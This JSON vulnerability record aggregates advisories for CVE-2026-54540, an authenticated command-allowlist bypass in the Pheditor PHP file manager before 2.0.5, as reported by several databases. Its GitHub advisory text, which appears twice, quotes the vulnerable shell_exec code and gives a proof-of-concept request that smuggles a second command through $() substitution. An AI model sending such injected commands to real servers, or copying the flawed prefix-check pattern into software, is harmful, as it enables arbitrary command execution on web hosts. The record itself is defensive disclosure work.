{"id":"CVE-2026-54540","aliases":["EUVD-2026-49385","GHSA-9643-6xjp-vx57"],"status":"published","title":"Authenticated terminal command whitelist bypass in Pheditor","description":"Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00734,"percentile":0.54654,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-07-16T20:01:05Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"Packagist","package":"pheditor/pheditor","fixed_in":["2.0.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"pheditor/pheditor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.0.4"},{"fixed":"2.0.5"}]}]},{"source":"osv","ecosystem":"Packagist","package":"pheditor/pheditor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.5"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.0.3","2.0.4"]}],"products":[{"vendor":"pheditor","product":"pheditor"}],"references":[{"url":"https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/pheditor/pheditor/releases/tag/2.0.5","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-9643-6xjp-vx57"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54540.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54540","tags":["advisory"]},{"url":"https://github.com/pheditor/pheditor","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-54540","title":"Authenticated terminal command whitelist bypass in Pheditor","description":"Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.","status":"published","published":"2026-07-27T17:53:53.891Z","modified":"2026-07-27T18:36:26.962Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-49385","description":"Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.","status":"published","published":"2026-07-27T17:53:53Z","modified":"2026-07-27T18:36:26Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:02:33.886037Z"}],"ghsa":[{"id":"GHSA-9643-6xjp-vx57","title":"Pheditor has an authenticated terminal command whitelist bypass","description":"### Summary\n\nPheditor 2.0.4 has an authenticated terminal command whitelist bypass.\n\nThe terminal feature checks whether the submitted command starts with one of the configured `TERMINAL_COMMANDS` values, then passes the full command string to `shell_exec()`. Shell command substitution such as `$()` is not blocked, so an authenticated user with the `terminal` permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user.\n\n### Details\n\nTested repository:\n\nhttps://github.com/pheditor/pheditor\n\nTested commit:\n\n`62b43df7cb8956a9b0deb9bec278ca8676c890c5`\n\nAffected version:\n\nPheditor 2.0.4\n\nRelevant code in `pheditor.php`:\n\n- The terminal handler receives `$_POST['command']` and stores it in `$command`.\n- It blocks only `\u0026`, `;`, and `||`.\n- It checks whether `$command` starts with one of the configured values in `TERMINAL_COMMANDS`.\n- It then passes the full command string to `shell_exec()`.\n\nRelevant logic:\n\n```php\n$command = $_POST['command'];\n\nif (strpos($command, '\u0026') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) {\n    echo json_error(\"Illegal character(s) in command (\u0026 ; ||)\\n\");\n    exit;\n}\n\nforeach ($terminal_commands as $value) {\n    $value = trim($value);\n\n    if (strlen($command) \u003e= strlen($value) \u0026\u0026 substr($command, 0, strlen($value)) == $value) {\n        $command_found = true;\n        break;\n    }\n}\n\n$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' \u0026\u0026 ') . $command . ' \u0026\u0026 echo \\ ; pwd');\n```\n\nBecause the whitelist check is prefix-based and the full command is executed by a shell, a command such as `ls$(...)` passes when `ls` is allowed, while the command substitution is still executed by the shell.\n\n### PoC\n\nThis was reproduced locally with Docker and PHP 8.3.\n\nFor a strict test, the configured command allowlist was changed to only allow `ls`:\n\n```php\ndefine('TERMINAL_COMMANDS', 'ls');\n```\n\nControl request:\n\n```text\ncommand=whoami\n```\n\nObserved result:\n\n```text\nCommand not allowed\nAvailable commands:\nls\n```\n\nBypass request:\n\n```text\ncommand=ls$(printf pheditor-terminal-bypass \u003e/lab/app/site/proof.txt)\n```\n\nObserved result:\n\n```text\nproof.txt is created with the content:\npheditor-terminal-bypass\n```\n\nThis shows that even when only `ls` is allowed, arbitrary shell commands can still be executed through command substitution.\n\n### Impact\n\nAn authenticated user with the `terminal` permission can bypass the intended `TERMINAL_COMMANDS` restriction and execute arbitrary shell commands as the web server user.\n\nThis affects deployments where administrators rely on `TERMINAL_COMMANDS` to restrict terminal access to a small set of safe commands.\n\nSuggested fixes:\n\n- Avoid passing user-controlled command strings to `shell_exec()`.\n- Parse the command into executable and arguments.\n- Require an exact command name match instead of prefix matching.\n- Execute without a shell, for example with an argument-array based process API.\n- If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax.\n- Consider disabling the terminal feature by default.\n\nReporter credit requested:\n\nshanjijian \u003cshanjijian@gmail.com\u003e","status":"published","published":"2026-07-16T20:01:05Z","modified":"2026-07-16T20:01:05Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:44.915484Z"}],"nvd":[{"id":"CVE-2026-54540","description":"Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.","status":"published","published":"2026-07-27T18:16:56.58Z","modified":"2026-07-27T20:32:11.62Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:33.249634Z"}],"osv":[{"id":"CVE-2026-54540","title":"Authenticated terminal command whitelist bypass in Pheditor","description":"Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.","status":"published","published":"2026-07-27T17:53:53.891Z","modified":"2026-10-28T02:31:12.198140756Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"GHSA-9643-6xjp-vx57","title":"Pheditor has an authenticated terminal command whitelist bypass","description":"### Summary\n\nPheditor 2.0.4 has an authenticated terminal command whitelist bypass.\n\nThe terminal feature checks whether the submitted command starts with one of the configured `TERMINAL_COMMANDS` values, then passes the full command string to `shell_exec()`. Shell command substitution such as `$()` is not blocked, so an authenticated user with the `terminal` permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user.\n\n### Details\n\nTested repository:\n\nhttps://github.com/pheditor/pheditor\n\nTested commit:\n\n`62b43df7cb8956a9b0deb9bec278ca8676c890c5`\n\nAffected version:\n\nPheditor 2.0.4\n\nRelevant code in `pheditor.php`:\n\n- The terminal handler receives `$_POST['command']` and stores it in `$command`.\n- It blocks only `\u0026`, `;`, and `||`.\n- It checks whether `$command` starts with one of the configured values in `TERMINAL_COMMANDS`.\n- It then passes the full command string to `shell_exec()`.\n\nRelevant logic:\n\n```php\n$command = $_POST['command'];\n\nif (strpos($command, '\u0026') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) {\n    echo json_error(\"Illegal character(s) in command (\u0026 ; ||)\\n\");\n    exit;\n}\n\nforeach ($terminal_commands as $value) {\n    $value = trim($value);\n\n    if (strlen($command) \u003e= strlen($value) \u0026\u0026 substr($command, 0, strlen($value)) == $value) {\n        $command_found = true;\n        break;\n    }\n}\n\n$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' \u0026\u0026 ') . $command . ' \u0026\u0026 echo \\ ; pwd');\n```\n\nBecause the whitelist check is prefix-based and the full command is executed by a shell, a command such as `ls$(...)` passes when `ls` is allowed, while the command substitution is still executed by the shell.\n\n### PoC\n\nThis was reproduced locally with Docker and PHP 8.3.\n\nFor a strict test, the configured command allowlist was changed to only allow `ls`:\n\n```php\ndefine('TERMINAL_COMMANDS', 'ls');\n```\n\nControl request:\n\n```text\ncommand=whoami\n```\n\nObserved result:\n\n```text\nCommand not allowed\nAvailable commands:\nls\n```\n\nBypass request:\n\n```text\ncommand=ls$(printf pheditor-terminal-bypass \u003e/lab/app/site/proof.txt)\n```\n\nObserved result:\n\n```text\nproof.txt is created with the content:\npheditor-terminal-bypass\n```\n\nThis shows that even when only `ls` is allowed, arbitrary shell commands can still be executed through command substitution.\n\n### Impact\n\nAn authenticated user with the `terminal` permission can bypass the intended `TERMINAL_COMMANDS` restriction and execute arbitrary shell commands as the web server user.\n\nThis affects deployments where administrators rely on `TERMINAL_COMMANDS` to restrict terminal access to a small set of safe commands.\n\nSuggested fixes:\n\n- Avoid passing user-controlled command strings to `shell_exec()`.\n- Parse the command into executable and arguments.\n- Require an exact command name match instead of prefix matching.\n- Execute without a shell, for example with an argument-array based process API.\n- If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax.\n- Consider disabling the terminal feature by default.\n\nReporter credit requested:\n\nshanjijian \u003cshanjijian@gmail.com\u003e","status":"published","published":"2026-07-16T20:01:05Z","modified":"2026-07-28T04:14:47.222371462Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}